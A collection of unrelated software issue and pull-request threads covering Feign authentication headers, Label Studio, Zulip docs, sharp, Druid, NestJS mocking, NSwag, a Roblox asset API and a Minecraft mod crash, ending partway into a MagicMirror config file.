Method to remove extra headers sent by feign

I'm running feign in spring with spring security when calling the endpoint which in-turn calls a service which uses feign Gson
EndPoint:
 @ApiOperation(value = "Cisco 1000v", notes = "Used with Nexus 1000v to Get configuration")
 @RequestMapping(value = "/cisco", method = RequestMethod.GET)
public String getCisco(
         @ApiParam(value = "Function to apply to switch", required = true)   @RequestParam(value="Function") String function,
         @ApiParam(value = "Hostname of device", required = true) @RequestParam(value="host")  String hostname,
         @ApiParam(value = "Username for device login", required = true) @RequestParam(value="user") String username,
         @ApiParam(value = "Password of device", required = true) @RequestParam(value="pass")   String password) throws IOException, SAXException, ParserConfigurationException {

    CiscoNexus service = new CiscoNexus(hostname, username, password);
    if (function.equals("port-profile")) {
        return service.getPort();`

Service:
public class CiscoNexus {

private final String hostname, username, password;

public CiscoNexus(String hostname, String username, String password) {
    this.hostname = hostname;
    this.username = username;
    this.password = password;
}
public String getPort() {
    PortProfiles ports = Feign.builder()
            .decoder(new GsonDecoder())
            .encoder(new GsonEncoder())
            .target(PortProfiles.class, "http://" + username + ":" + password + "@" + hostname);

    System.out.println("Getting Port Profiles...");
    ports.json();
    return ports.json();
}

interface PortProfiles {
    @RequestLine("GET /api/port-profile")
    @Headers("Accept: application/json")
    string json();
}

As I'm using spring security when I call the endpoint I have to add an auth header, but it seems feign keeps the header and sends it on to the target which doesn't respond correctly because of it, is this something that can be avoided?
The Error I'm receiving
{
  "timestamp":<PHONE_NUMBER>082,
  "status": 500,
  "error": "Internal Server Error",
  "exception": "feign.FeignException",
  "message": "status 401 reading PortProfiles#json(); content:\n<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n\n<title>401 Authorization Required</title>\n\n
Authorization Required
\n
This server could not verify that you\nare authorized to access the document\nrequested.  Either you supplied the wrong\ncredentials (e.g., bad password), or your\nbrowser doesn't understand how to supply\nthe credentials required.
\n\n",
  "path": "/switch/cisco"
}

Please open this in spring-cloud-netflix because any change or advice
involves classes not present in this repository


Trapping Rainwater Problem

Type
Algorithm
Directory
Algorithm => Array-Algorithm => TrappingWater.cpp
Description
Given n non-negative integers representing an elevation map where the width of each bar is 1, compute how much water it can trap after raining.
Programming Language

[X] c++
[X] c
[X] python
[X] java
[ ] kotlin
[X] javascript
[ ] typescript
[X] c#
[ ] swift
[ ] ruby
[ ] scala
[ ] go
[ ] php
[ ] haskell
[ ] bash

Hi @ahampriyanshu, Can you please assign this to me in working with c++ ?

C++ => 1 hour

can i work on this issue in c++?

assign me in js =>1 hour

Can I work on this issue in Java?
Java => 1 day

python=>1 hr


ablation study on reparam structures of DW conv

Hi,
Have you evaluated the reparam structures of the 3x3dw conv?
We found that as a reparamed branch, 1x1dw conv contributes little or even worse gains to 3x3dw conv? How about its performance in RepViT?
refer to our work

Thanks. We evaluated the reparam structures of the 3x3dw conv in other variants of RepViT (not M1/M2/M3) before. And we found the 1x1 dw conv can bring an approximate 0.05% accuracy improvement.


Default value for Choice

Is your feature request related to a problem? Please describe.
I'm very happy with label-studio, however the feature I'm missing is support for default value for some choice.
Describe the solution you'd like
I would like to have a simple way to specify default value for some choice. For example, adding an attribute "default=" to the "Choices" tag.
Describe alternatives you've considered
Alternatively, there could be an attribute "default=True" for some "Choice" tag.
Additional context
I think it's an easy feature to implement, but it has the potential to speed up the labelling job.

Hi, @sfczekalski ! There is selected="true" parameter for Choice that preselects one of checkboxes (check docs). Is that what you're looking for ?

Hi, @sfczekalski ! There is selected="true" parameter for Choice that preselects one of checkboxes (check docs). Is that what you're looking for ?

This is something I was looking for, sorry I didn't notice it in the docs. Many thanks! I'm closing the issue.

This is something I was looking for, sorry I didn't notice it in the docs. Many thanks! I'm closing the issue.

Hi, @sfczekalski ! There is selected="true" parameter for Choice that preselects one of checkboxes (check docs). Is that what you're looking for ?

Seems not work when perRegion is true, check this playground.


move README.dev.md & README.prod.md to Read the Docs

From conversation with @timabbott:

the README.dev.md and README.prod.md could easily be moved to ReadTheDocs... and the prod one could probably be split into several pages since it's kinda enormous.

Along the way I suggest we also integrate/unify https://zulip.org/server.html into this mix.

Checking with @christi3k to see whether she's planning on doing part of this -- it sounds like maybe we should split this into 2 tasks, since she's working on improving/splitting up/revamping README.dev.md and, separately, README.prod.md needs to be broken up and reconstituted where it makes sense. @christi3k what do you think?

@christi3k Now that #668 is closed -- what do you think? I think that, for consistency and ease of discovery, we should move README.dev.md and README.prod.md onto Read The Docs (so that the only documentation in the git repo's main directory is the main README.md).

+1 to moving them :)

Working on this today.

@timabbott I'd like to reopen this for #1218.

Done (This got auto-closed due to the fixes in 3f90f9e29e6a3c90dbcc15721df2753ce7820194)

Am I right that we can now close this?

Well, README.dev.md and README.prod.md still exist in transitional forms; I think perhaps we should finish cleaning them up before we close this

(I think probably what that means is moving those "index files" to RTD and updating zulip.org accordingly)


Introducing the Bitbucket app for Google Chat

Following the recently announced Workday app for Google Chat that allows you to perform quick actions in Workday without leaving Google Chat, we’re excited to also introduce Bitbucket for Google Chat.
Publish Date: Tuesday, December 12, 2023
Update Blog Link
Triage Information:

Related to Google Chat. However, it is related to Common Controls SCB
There is a configuration
Believes there is already a policy for this

@tmcomeau and @lrsmitre, Can you review and confirm.

My review opinion: The nature and disposition of Common Controls covers this scenario in GWS.COMMONCONTROLS.12.1v0.1 and GWS.COMMONCONTROLS.12.2v0.1
This is an example of an app that would need to be vetted and reviewed by the FCEB's admin(s) prior to allowlisting and configuration per above mentioned policy statements.

@lrsmitre cocnur

Based on the review of the comments, no changes are needed.


used wildcard instead of first in length

No justification for change. I cannot evaluate it without that. Safer to keep it the same until then.


could  add a new function noise() like imageMagick provided?

could  add a new function noise() like imageMagick provided?
thanks.

Hello, libvips provides a gaussnoise function for this, which we'd need to expose.
It would make the most sense, i.e. will be a bit easier, to add this after #470.

This would be helpful in our use case as well.

This feature would be useful in our use cases as well.
The sharp documentation says it's straightforward if libvips has the function...
I have no experience with C++ but I'll gladly take a look at how to expose the function if you think it has a chance of succeeding. :-)

This was added via https://github.com/lovell/sharp/pull/2527 and included in sharp v0.27.1
https://sharp.pixelplumbing.com/changelog#v0271---27th-january-2021
// Generate RGB Gaussian noise
await sharp({
  create: {
    width: 300,
    height: 200,
    channels: 3,
    noise: {
      type: 'gaussian',
      mean: 128,
      sigma: 30
    }
 }
}).toFile('noise.png');


Fix bug. Hash was not considered in falsy values cleanup.

fixes bug in previous #41 fix, sorry.

hahaha I was looking to land the same fix :) thank you again!


Add druid_service and host_name labels to Prometheus exporter

Fixes #12731
Description
Some labels are missing from the Prometheus exporter. They were in the Statsd exporter, such as druid_service and host_name, Which makes the result of Prometheus exporter incompatible with the stated exporter.
In this current implementation, these two labels can be optionally added.

Key changed/added classes in this PR

docs/development/extensions-contrib/prometheus.md
extensions-contrib/prometheus-emitter/src/main/java/org/apache/druid/emitter/prometheus/Metrics.java
extensions-contrib/prometheus-emitter/src/main/java/org/apache/druid/emitter/prometheus/PrometheusEmitter.java
extensions-contrib/prometheus-emitter/src/main/java/org/apache/druid/emitter/prometheus/PrometheusEmitterConfig.java
extensions-contrib/prometheus-emitter/src/test/java/org/apache/druid/emitter/prometheus/MetricsTest.java
extensions-contrib/prometheus-emitter/src/test/java/org/apache/druid/emitter/prometheus/PrometheusEmitterTest.java

This PR has:

[x] been self-reviewed.

[ ] using the concurrency checklist (Remove this item if the PR doesn't have any relation to concurrency.)

[x] added documentation for new or modified features or behaviors.
[ ] added Javadocs for most classes and all non-trivial methods. Linked related entities via Javadoc links.
[ ] added or updated version, license, or notice information in licenses.yaml
[ ] added comments explaining the "why" and the intent of the code wherever would not be obvious for an unfamiliar reader.
[x] added unit tests or modified existing tests to cover new code paths, ensuring the threshold for code coverage is met.
[ ] added integration tests.
[x] been tested in a test Druid cluster.

CI failure is unrelated to this change. @FrankChen021

Thanks for the changes, @liujianhuanzz .
Minor comment on docs. Overall, LGTM 🚀

Thanks

CI failure is unrelated to this change.


Add stacker

I've add adding stacker to list
Why stacker?
Stacker - This is a local environment for web development with everything you need. What is its benefit?

You do not need to manually configure the web server and add to the hosts, just cloned it and immediately launched it in the browser. It looks so demo
Inside, there is already everything that is needed in 90% of all cases. And if not, we will add it for you)
For you, there is a super zsh console with autocomplete and everything you need. Video with presentation
There is an autocompletion for Symfony and Laravel commands out of the box. For example, la5 and a double tab, will output a list of commands for which you can "walk" with arrows to select them
It is faster analogs, the same homestead is just a turtle compared to it
There is a video course
Friendly author, in case there are questions or suggestions
Based on Docker. Wherever you can install Docker, you can install and Stacker
It is very simple to expand. The process of adding your own images with a couple of lines in docker-compose.yml
Just try it!

As neat as this looks, it seems like somewhat self-promotion. Our current solution in this field is puphpet. The big differentiator is that it's docker based. Are there any other reasons that we should add this to our list?

@josegonzalez puphpet based on vagrant, stacker based on docker. Reason? I think the list should give people the opportunity to choose what is appropriate for them.)


espanso triggers

Hi !
Unfortunately, it seems a python module is lacking on my ubuntu install to make your python code work.
But i found a solution not to need them : i'm using espanso to add Brumes code into my obsidian files.
Feel free to include it in your repo or ask for changes : https://github.com/tnntwister/espanso-pp/tree/main/brumes
Hope you'll go on developing Brumes !
Regards,

Hi !
Thanks for opening this issue. What exactly do you mean by "make your python code work"? I am not sure I really understand as it is mostly CSS (or SCSS) with a JS bundler.
Anyway, I really like how you use espanso to enhance Brumes! It seems it does a great job at templating tags, dangers, clues...
I am currently working on a refactor of the overall code to simplify how to use Brumes inside Obsidian and to add more customization. Hopefully it gets released this summer.

for clues, moves and description for instance,
<%* selection = tp.file.selection(); const type = await tp.system.suggester(["Clue","Special Clue","Move","Description"], ["clue","special-clue","move","description"]);

if (type === undefined || type === null) { return; } else { return ">[!" + type + "] " + selection; } %>

isn't executed. it just inserts code in my current note. i've read i need a obsidian module in order to execute scripts, which relies on jupyter python package, i don't know if it's really the right solution.


How can I mock a property initialised in the class constructor?

Is it possible to mock a property that is initialised in the class constructor?
This is the controller that I want to test:
import { Controller, Get } from '@nestjs/common'
import { LoggerAdapter } from '../infrastructure/adapters/logger.adapter'
import { routesV1 } from '../infrastructure/configs/app.routes'
import { Logger } from '../libs/ddd/domain/ports/logger.port'

@Controller(routesV1.version)
class HealthHTTPController {
  private readonly logger: Logger

  constructor (
    loggerAdapter: LoggerAdapter
  ) {
    this.logger = loggerAdapter.getLogger(this.constructor.name)
  }

  @Get(routesV1.health.get)
  get (): void {
    this.logger.info('Health check')
  }
}

export { HealthHTTPController }

Logger interface:
interface Logger {
  trace(obj: unknown, msg?: string, ...args: any[]): void
  trace(msg: string, ...args: any[]): void
  debug(obj: unknown, msg?: string, ...args: any[]): void
  debug(msg: string, ...args: any[]): void
  info(obj: unknown, msg?: string, ...args: any[]): void
  info(msg: string, ...args: any[]): void
  warn(obj: unknown, msg?: string, ...args: any[]): void
  warn(msg: string, ...args: any[]): void
  error(obj: unknown, msg?: string, ...args: any[]): void
  error(msg: string, ...args: any[]): void
  child(obj: unknown, options?: unknown): Logger
}

export { Logger }

The test:
import { TestBed } from '@automock/jest'
import { LoggerAdapter } from '../../src/infrastructure/adapters/logger.adapter'
import { HealthHTTPController } from '../../src/interface/health.http.controller'

describe('HealthHTTPController', () => {
  let healthHTTPController: HealthHTTPController
  let loggerAdapter: jest.Mocked<LoggerAdapter>

  beforeAll(() => {
    const { unit, unitRef } = TestBed.create(HealthHTTPController).compile()

    healthHTTPController = unit
    loggerAdapter = unitRef.get(LoggerAdapter)
    console.log(healthHTTPController) // HealthHTTPController { logger: undefined }
  })

  describe('get', () => {
    it('logs', async () => {
      expect(await healthHTTPController.get()).toReturn()
    })
  })
})

The error:
FAIL test/unit/health.http.controller.spec.ts
HealthHTTPController
  get
    ✕ logs (1 ms)

● HealthHTTPController › get › logs

  TypeError: Cannot read properties of undefined (reading 'info')

    17 |   @Get(routesV1.health.get)
    18 |   get (): void {
  > 19 |     this.logger.info('Health check')
       |                 ^
    20 |   }
    21 | }
    22 |

    at HealthHTTPController.get (src/interface/health.http.controller.ts:19:17)
    at Object.<anonymous> (test/unit/health.http.controller.spec.ts:19:41)

Hi @filipecorrea,
In order for automock to properly reflect the class dependencies, the Logger must be injected into the class constructor, and not as a property. Why are you using loggerAdapter: LoggerAdapter as a parameter instead of using it as a property?

I'm injecting it as a parameter because LoggerAdapter is a singleton implementation for the Logger interface:
LoggerAdapter
import { Injectable } from '@nestjs/common'
import pino from 'pino'
import { config } from '../../infrastructure/configs/logger.config'
import { Logger } from '../../libs/ddd/domain/ports/logger.port'

@Injectable()
class LoggerAdapter {
  getLogger(name?: string): Logger {
    const logger = pino({
      ...config,
      transport: config.pretty
        ? {
          target: 'pino-pretty',
          options: {
            colorize: true,
            singleLine: true
          }
        }
        : undefined,
      timestamp: pino.stdTimeFunctions.isoTime
    })

    return name === undefined
      ? logger
      : logger.child({ name })
  }
}

export { LoggerAdapter }

LoggerAdapterModule
import { Global, Module } from '@nestjs/common'
import { LoggerAdapter } from '../../infrastructure/adapters/logger.adapter'

const singleton = new LoggerAdapter()
const singletonProvider = {
  provide: LoggerAdapter,
  useFactory: () => singleton
}

@Global()
@Module({
  providers: [singletonProvider],
  exports: [LoggerAdapter]
})
class LoggerAdapterModule { }

export { LoggerAdapterModule }

I know it might not be an issue with your library, which is great btw, but you haven't activated the "discussions" for this repo and I wanted to discuss the topic with you.

Thank you! Okay, it's clearer now. Instead of utilizing the LoggerAdapter injectable class, you should utilize a dynamic provider (factory provider?). Thank you for drawing my notice to the discussions section, it is now open for some :)


API: css colornames color_id

Hi @fguillot,
the api returns a color_id for each task. With the new colors from 1.0.16 the colors does match the css colornames: http://www.w3schools.com/cssref/css_colornames.asp
Could that be changed? Or add a new field with color data from kanboard/app/Model/Color.php?
Regards,
Timo

The color_id can be anything, that don't need to match any "standard" color name. Especially, if I add a color picker in the future.
Adding a new api procedure to get colors is probably the best solution.

Option A) new API method that returns kanboard/app/Model/Color.php->default colors
Option B) enhance task method instead of color_id: "Amber" return
color: { name : "Amber", background: '#ffe082', border: '#ffa000' }

New API procedures available in master:

https://github.com/fguillot/kanboard/blob/master/docs/api-json-rpc.markdown#getdefaulttaskcolors
https://github.com/fguillot/kanboard/blob/master/docs/api-json-rpc.markdown#getdefaulttaskcolor
https://github.com/fguillot/kanboard/blob/master/docs/api-json-rpc.markdown#getcolorlist

And task properties contains a new item "color" with all color details of the task.


Adt add enabled flag v2

Would be nice to use a single yaml file for multiple envs and pick certain stacks to deploy on a per-env basis.

Cool!  This is a feature we've been talking about here as well.  I'm actually curious how this works with other stack actions - like destroy, etc?  Will it lead to issues with those?
Also - could you add the enabled flag (probably set to true) with a comment about what it means to https://github.com/remind101/stacker/blob/master/conf/example.yaml - we've used that as a source of documentation for the most part, till we have actual documentation.  I'd just set it to true for each stack, and mention that that is the default.
Thanks!

+1 i've been using this locally for a couple months now, i forgot to submit a PR for it. I called it ignore but its functionally the same thing.
re: destroy, in my case if its ignored, it wasn't built, so shouldn't be destroyed. i think that works the same with this.

Ok - so if destroy gets a stack that doesn't exist, it just ignores it currently?
Should there be a CLI arg to ignore this flag?  Probably not - not sure there's any reason you'd want to do that, this seems like something you'd mostly use in a dev stack.

Yep, if you call destroy on a stack which isn't there, it skips it and moves on.  I'd argue against a CLI flag as that is more knobs to confuse the user.

Anything else?

Looks good - thanks!


Added the feature of sharing the images with Tumblr

Description
I have been using the extension for a while and I have been sharing images regularly from the extension. I use Tumblr regularly to share my thoughts whenever  I have to share the image it becomes difficult for me since the extension doesn't have an option to share it in Tubmlr directly as it has for the other platforms. So i implemented the feature of sharing the image directly to the Tumblr platform.

Sir Thank you four your review, I  have made the necessary changes sir by using the methods that you suggested above . Thank You!

Sorry for the Inconvenience sir, I have reviewed it and fixed all the eslint errors! Thank You!

Sir I have made the changes will my commit be merged?

@VarthanV you need to remove the "Default Filters" heading on the options page. There is no need of that.

Sir I have removed the default filters heading  please do review my change

@VarthanV you have to also push the changes, because they are not showing in this PR.
The last commit from your side has been "Fixed ESLint errors".

I  have made the necessary changes @makkoncept

@VarthanV you still don't have removed the "Default filters" heading in options.html. Also, please write better commit message.

@makkoncept  sir .I have made the changes for sure now and added a valid Commit message


Start and End times  for interval set objects

Add start and end methods for interval set objects, output a ts object.
Possibility for a center method that outputs the center of each subepoch as a ts object, with an optional argument to define where the center is (a scalar between 0 and 1)

Coming in new version


Android/iOS connection times

Hi there,
Question:
I've got a "vanilla"-App using this plugin. It works quite well, however, the amount of time of connections made by Android compared to iOS differ. Sometines Android manages to accomplish a connection to my ble-device using ~900ms, sometimes it takes more than 2sec. Doing the same with iOS based devices connections are established taking about 600-700 ms.
Steps to reproduce

Set up a Vanilla-Xamain-Forms App

time the amount of time it takes to connect via iOS, time the amount of time it takes to connect via android.

compare the outcome

Expected behavior
It shouldn't take significantly more on either system
Actual behavior
It takes a lot longer on Android
Configuration
Version of the Plugin: v4.0.30319
Platform: Android 6.0/7.0 - iOS 9.3-10x
Device: Samsung S5, A3, iPAD, iPhone

Hi @Gerrit74,
I'm the friendly issue checker.
Thanks for using the issue template :star2:
I appreciate it very much. I'm sure, the maintainers of this repository will answer, soon.

Good test :+1:


Add event recorder to kernel controller

Signed-off-by: yeya24<EMAIL_ADDRESS>What problem does this PR solve?
Fixes #495

/run-e2e-test

/run-e2e-test

/run-e2e-test

Codecov Report

Merging #508 into master will increase coverage by 1.27%.
The diff coverage is 53.70%.

@@            Coverage Diff             @@
##           master     #508      +/-   ##
==========================================
+ Coverage   58.57%   59.85%   +1.27%
==========================================
  Files          60       68       +8
  Lines        3626     4394     +768
==========================================
+ Hits         2124     2630     +506
- Misses       1333     1568     +235
- Partials      169      196      +27

Impacted Files
Coverage Δ

api/v1alpha1/common_webhook.go
100.00% <ø> (ø)

api/v1alpha1/iochaos_types.go
51.11% <0.00%> (+18.55%)
:arrow_up:

api/v1alpha1/kernelchaos_types.go
20.00% <0.00%> (+15.34%)
:arrow_up:

api/v1alpha1/networkchaos_types.go
23.88% <0.00%> (+4.94%)
:arrow_up:

api/v1alpha1/podchaos_types.go
46.66% <0.00%> (+14.10%)
:arrow_up:

controllers/kernelchaos_controller.go
0.00% <0.00%> (ø)

controllers/podchaos/types.go
65.95% <0.00%> (ø)

controllers/stresschaos_controller.go
0.00% <0.00%> (ø)

controllers/timechaos_controller.go
0.00% <0.00%> (ø)

pkg/chaosdaemon/netem_linux.go
26.66% <0.00%> (-17.78%)
:arrow_down:

... and 43 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 8ecc498...b5fc234. Read the comment docs.

/run-e2e-test

/run-e2e-test


Need help to port Gated Conv model to allennlp

I am porting the fairseq conv model to allennlp framework.
I could get the model to work without any dimension errors etc. But when I start training it the loss keeps growing. I tried to train it first on the actual dataset, with most settings same as default ones in fairseq translate, and learning rate less, there was no signs of loss decreasing in a significant manner.
I am unable to overfit even a small set of 200 sentences (from a grammar error correction dataset).
I am new to coding complex architectures from scratch. Need help to debug the model.

What are the things that can generally go wrong?
Will comparing the outputs of each layers between fairseq implementation and mine make sense if I set the seed as same?
Any special tricks to get this fconv architecture to work that I could have missed? (I have initialized the parameters in same way in this repository)

Here is the current allennlp code in a gist - https://gist.github.com/sai-prasanna/0572302ea254c7101f7def68868c054d . Fair warning, in the code  gated_conv_models.py  is a frankenstien monster made from copy pasting fairseq  code. I will be creating a proper repository with the code in some time.

I'm confused, why not just import and wrap the fairseq encoders/decoders directly? FConvEncoder and FConvDecoder both inherit from nn.Module. That way you don't need to worry if your implementation matches...
Otherwise, it's generally quite painful to exactly match outputs from different frameworks. For example, random seeds must match, but even then you won't get exactly the same random weights if either framework calls the RNG before initializing the model. You should also turn off all dropout for comparisons.
I haven't used allennlp much, but I'd expect you could wrap the fairseq fconv model doing something like this:
from fairseq.data import Dictionary
from fairseq.models.fconv import FConvEncoder, FConvDecoder

d = Dictionary()  # TODO write wrapper to convert allennlp dictionary to fairseq one
src_tokens = torch.LongTensor([
    list(map(d.add_symbol, ['hello', 'world', '</s>'])),
    list(map(d.add_symbol, ['<pad>', 'hello', '</s>'])),
])
src_lengths = torch.LongTensor([3, 2])
prev_output_tokens = torch.LongTensor([
    list(map(d.add_symbol, ['</s>', 'hallo', 'welt'])),
    list(map(d.add_symbol, ['</s>', 'hallo', '<pad>'])),
])

convs = ([(512, 3)] * 9 + [(1024, 3)] * 4 + [(2048, 1)] * 2)
encoder = FConvEncoder(d, embed_dim=768, convolutions=convs)
encoder.num_attention_layers = len(convs)
decoder = FConvDecoder(d, embed_dim=768, convolutions=convs)

encoder_out = encoder(src_tokens, src_lengths)
decoder_out = decoder(prev_output_tokens, encoder_out)
lprobs = torch.nn.functional.log_softmax(decoder_out[0], dim=2)

@myleott Thanks, I figured out pretty much the same.
I was started the qasi-reimplementation because I figured it would help to have embedding in allennlp's classes. (as they provided more options) This lead to rabbit hole of trying to reimplement everything.
Will get back to you on the wrapped implementation.


My generated methods for GET don't return the result

I'm just getting started with NSwag and am a bit confused. I watched the 5 min tutorial video which returned from the client an Observable but my client methods all return Task (void) so I'm unable to display the results in a console test environment. I'm using version 11.6.1.
Here is an example of my generated code for a GET method:
        /// <param name="cancellationToken">A cancellation token that can be used by other objects or threads to receive notice of cancellation.</param>
        /// <returns>Success</returns>
        /// <exception cref="SwaggerException">A server side error occurred.</exception>
        public async System.Threading.Tasks.Task CourseMetadataGetAsync(System.Threading.CancellationToken cancellationToken = default(System.Threading.CancellationToken))
        {
            var urlBuilder_ = new System.Text.StringBuilder();
            urlBuilder_.Append(BaseUrl).Append("/CourseMetadata");

            var client_ = new System.Net.Http.HttpClient();
            try
            {
                using (var request_ = new System.Net.Http.HttpRequestMessage())
                {
                    request_.Method = new System.Net.Http.HttpMethod("GET");

                    PrepareRequest(client_, request_, urlBuilder_);
                    var url_ = urlBuilder_.ToString();
                    request_.RequestUri = new System.Uri(url_, System.UriKind.RelativeOrAbsolute);
                    PrepareRequest(client_, request_, url_);

                    var response_ = await client_.SendAsync(request_, System.Net.Http.HttpCompletionOption.ResponseHeadersRead, cancellationToken).ConfigureAwait(false);
                    try
                    {
                        var headers_ = System.Linq.Enumerable.ToDictionary(response_.Headers, h_ => h_.Key, h_ => h_.Value);
                        foreach (var item_ in response_.Content.Headers)
                            headers_[item_.Key] = item_.Value;

                        ProcessResponse(client_, response_);

                        var status_ = ((int)response_.StatusCode).ToString();
                        if (status_ == "200")
                        {
                            return;
                        }
                        else
                        if (status_ != "200" && status_ != "204")
                        {
                            var responseData_ = await response_.Content.ReadAsStringAsync().ConfigureAwait(false);
                            throw new SwaggerException("The HTTP status code of the response was not expected (" + (int)response_.StatusCode + ").", status_, responseData_, headers_, null);
                        }
                    }
                    finally
                    {
                        if (response_ != null)
                            response_.Dispose();
                    }
                }
            }
            finally
            {
                if (client_ != null)
                    client_.Dispose();
            }
        }

Why does this return a Task instead of a Task with the actual data received from the operation?
When I hit the API endpoint, here is what I get:
[
  {
    "courseTitle": "Some First Course",
    "authorIds": null,
    "id": "7bb07361-fbd2-4b5a-b599-a0e05fcb4e4b"
  },
  {
    "courseTitle": "Another Course",
    "authorIds": null,
    "id": "2f691d93-4f22-420a-851d-c67ea3c7a7e1"
  }
]

Did I miss a setting somewhere in NSwagStudio?  I'm using a swagger.json file as my input, if that matters.
Thanks!

Can you post the signature of your Web API operation?

You mean this?
        // GET api/coursemetadata
        [HttpGet]
        public IActionResult Get()
        {
            var courseMetadatas = _courseMetadataRepository.List();
            return Ok(courseMetadatas);
        }

Or this: https://apideviq.azurewebsites.net/swagger/#!/CourseMetadata/CourseMetadataGet

In this case NSwag cannot detect the return type because it only "sees" IActionResult.
See https://github.com/RSuter/NSwag/wiki/WebApiToSwaggerGenerator#specify-the-response-type-of-an-action

That did the trick, thanks!


Cannot change account email from admin

Describe the bug
When I open the link to confirm account email change, an "Invalid token error" is shown
To Reproduce
Steps to reproduce the behavior:

Go to 'My Settings'
Provide an email
Click on 'Update'
Click on the link in the confirmation email sent by Violet Rails

Expected behavior
I should be able to confirm changes after going to the confirmation link
Screenshots
Changing account email:

Confirmation email sent by Violet Rails:

Invalid Token error:

Desktop

OS: Windows 10/11
Browser: Chrome
Version: 109.0.5414.75

this is affecting nikean.org


Error: Hls is not supported in Safari Mobile

Safari Mobile can play HLS video directly but Hls.isSupported() return false.

Judge whether the browser has built-in HLS support
video.canPlayType('application/x-mpegURL') || video.canPlayType('application/vnd.apple.mpegURL')

Fixed. 87e137e2c3be7120407b3900c2e1b37c96e2b1b9

Chrome for Android 76
video.canPlayType('application/x-mpegURL') ==> 'maybe'
video.canPlayType('application/vnd.apple.mpegURL')  ==> 'maybe'

but is can't play Hls~


Save G4 trajectory ID also for secondaries

The G4 ID was not saved for secondaries initially at the flow stage and eventually also in the MLreco stage. Since this is now fixed in these two parts of the production, it is time to reflect that change also in ND_CAFMaker.

The is_primary field needs to be fixed in the truth dataset in MLreco files in order to correctly propagate this information as the G4ID is used for the prim/sec distinction currently


Wrap AssetGetOperation fields done and response in Option

The done and response fields are sometimes absent from asset get operations for recently created assets, resulting in errors like this:
ReqwestError(
    reqwest::Error {
        kind: Decode,
        source: Error("missing field `done`", line: 1, column: 61),
    },
)

When this happens, it usually takes a few seconds before these fields are present in responses. Here's some output from me retrying this endpoint (now using optional done and response) directly after creating an asset:
[2023-04-18 17:08:28] AssetGetOperation {
[2023-04-18 17:08:28]     path: "operations/43db82d3-ee5e-4df9-986b-dc833ac3d3c1",
[2023-04-18 17:08:28]     done: None,
[2023-04-18 17:08:28]     response: None,
[2023-04-18 17:08:28] }
[2023-04-18 17:08:29] AssetGetOperation {
[2023-04-18 17:08:29]     path: "operations/43db82d3-ee5e-4df9-986b-dc833ac3d3c1",
[2023-04-18 17:08:29]     done: None,
[2023-04-18 17:08:29]     response: None,
[2023-04-18 17:08:29] }
[2023-04-18 17:08:30] AssetGetOperation {
[2023-04-18 17:08:30]     path: "operations/43db82d3-ee5e-4df9-986b-dc833ac3d3c1",
[2023-04-18 17:08:30]     done: None,
[2023-04-18 17:08:30]     response: None,
[2023-04-18 17:08:30] }
[2023-04-18 17:08:31] AssetGetOperation {
[2023-04-18 17:08:31]     path: "operations/43db82d3-ee5e-4df9-986b-dc833ac3d3c1",
[2023-04-18 17:08:31]     done: None,
[2023-04-18 17:08:31]     response: None,
[2023-04-18 17:08:31] }
[2023-04-18 17:08:33] AssetGetOperation {
[2023-04-18 17:08:33]     path: "operations/43db82d3-ee5e-4df9-986b-dc833ac3d3c1",
[2023-04-18 17:08:33]     done: Some(
[2023-04-18 17:08:33]         true,
[2023-04-18 17:08:33]     ),
[2023-04-18 17:08:33]     response: Some(
[2023-04-18 17:08:33]         AssetGetOperationResponse {
[2023-04-18 17:08:33]             response_type: "type.googleapis.com/roblox.open_cloud.assets.v1.Asset",
[2023-04-18 17:08:33]             path: "assets/13176690446",
[2023-04-18 17:08:33]             revision_id: "1",
[2023-04-18 17:08:33]             revision_create_time: "2023-04-19T00:08:31.745079700Z",
[2023-04-18 17:08:33]             asset_id: "13176690446",
[2023-04-18 17:08:33]             display_name: "model",
[2023-04-18 17:08:33]             description: "",
[2023-04-18 17:08:33]             asset_type: "ASSET_TYPE_MODEL",
[2023-04-18 17:08:33]             creation_context: AssetCreationContext {
[2023-04-18 17:08:33]                 creator: User(
[2023-04-18 17:08:33]                     AssetUserCreator {
[2023-04-18 17:08:33]                         user_id: "5701242",
[2023-04-18 17:08:33]                     },
[2023-04-18 17:08:33]                 ),
[2023-04-18 17:08:33]                 expected_price: None,
[2023-04-18 17:08:33]             },
[2023-04-18 17:08:33]         },
[2023-04-18 17:08:33]     ),
[2023-04-18 17:08:33] }

I've only observed this behavior for fbx models. I don't know if it can occur with audio or images, and I'm not sure if it's a bug in the API, but I think rbxcloud should avoid just falling over here!

It also seems like @type / response_type should be optional as well. When doing a GET operation for a decal asset it seems to be missing. This is the struct I get back:
AssetGetOperation {
    path: "operations/XXXX",
    done: Some(true),
    response: Some(AssetGetOperationResponse {
        response_type: None,
        path: "assets/15089823975",
        revision_id: "1",
        revision_create_time: "2023-10-16T18:43:17.533253800Z",
        asset_id: "15089823975",
        display_name: "hi guys",
        description: "Uploaded by Tarmac.",
        asset_type: "Decal",
        creation_context: AssetCreationContext {
            creator: User(AssetUserCreator {
                user_id: "1091164489"
            }),
            expected_price: None
        }
    })
}


Wakes mod crashes the game on startup

Mod Name
Wakes
Mod Homepage
https://modrinth.com/mod/wakes
Minecraft version
1.21.1
Describe the bug
When the "Wakes" mod is installed with FFAPI and Connector on NeoForge 21.1.31, during the loading process on startup (specifically when it gets to the Minecraft Progress bar), the bottom left of the screen will display a line of text reading "ERROR DURING MOD LOADING", and the game will immediately crash with an exit code of -1, and displays the following log:
The game crashed whilst rendering overlay
Error: org.spongepowered.asm.mixin.transformer.throwables.MixinTransformerError: An unexpected critical error was encountered

Steps to reproduce

Install Wakes 0.3.0+1.21.1 into the "mods" folder. (along with FFAPI 0.102.0+2.0.12+1.21.1 and Connector 2.0.0-beta.2+1.21.1)
Launch NeoForge 21.1.31.
Game loads for a bit, then crashes when getting to "Minecraft Progress" screen.

Logs
https://gist.github.com/Fattyton/9b1478c6b10e910894ecbef64134a48c
Additional context

Game was running on NeoForge 21.1.31.
Tested Wakes 0.3.0+1.21.1 in a Fabric environment, mod was working fine in Fabric.


Any way to tighten up some of the columns?

I'm not a css guy, so I'm hoping someone can help me to get the grid a bit more compact.
https://imgur.com/Zm4GUFB

/* Magic Mirror Config Sample
 *
 * By Michael Teeuw http://michaelteeuw.nl
 * MIT Licensed.
 *
 * For more information how you can configurate this file
 * See https://github.com/MichMich/MagicMirror#configuration
 *
 */

var config = {
	address: "localhost", // Address to listen on, can be:
